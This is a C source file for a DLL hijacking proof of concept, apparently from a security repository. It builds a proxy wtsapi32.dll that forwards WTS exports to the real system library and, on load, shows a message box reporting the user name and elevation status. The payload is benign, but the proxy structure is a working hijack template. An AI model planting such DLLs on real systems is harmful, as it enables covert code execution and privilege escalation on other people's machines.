// i686-w64-mingw32-g++ dll.c -lws2_32 -o wtsapi32.dll -shared
#include <windows.h>
#include <string>
#include <stdio.h>
#include <Lmcons.h>
BOOL IsElevated() {
	BOOL fRet = FALSE;
	HANDLE hToken = NULL;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
		TOKEN_ELEVATION Elevation;
		DWORD cbSize = sizeof(TOKEN_ELEVATION);
		if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
			fRet = Elevation.TokenIsElevated;
		}
	}
	if (hToken) {
		CloseHandle(hToken);
	}
	return fRet;
}
asm (".section .drectve\n\t.ascii \" -export:WTSEnumerateProcessesW=c:/windows/system32/wtsapi32.WTSEnumerateProcessesW\"");
asm (".section .drectve\n\t.ascii \" -export:WTSQueryUserToken=c:/windows/system32/wtsapi32.WTSQueryUserToken\"");
asm (".section .drectve\n\t.ascii \" -export:WTSFreeMemory=c:/windows/system32/wtsapi32.WTSFreeMemory\"");
asm (".section .drectve\n\t.ascii \" -export:WTSEnumerateSessionsW=c:/windows/system32/wtsapi32.WTSEnumerateSessionsW\"");
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    BOOL elevated;
    char username[UNLEN+1];
    DWORD username_len = UNLEN + 1;
    char out[UNLEN+28];
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            elevated = IsElevated();
            GetUserName(username, &username_len);
            strcpy(out, "Running ");
            if (elevated) {
                strcat(out, "elevated as user ");
            } else {
                strcat(out, "unelevated as user ");
            }
            strcat(out, username);
            MessageBox(0, out, "Dll Hijacking POC Code", 0);
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}
Add dll hijack proxy example
Add dll hijack proxy example
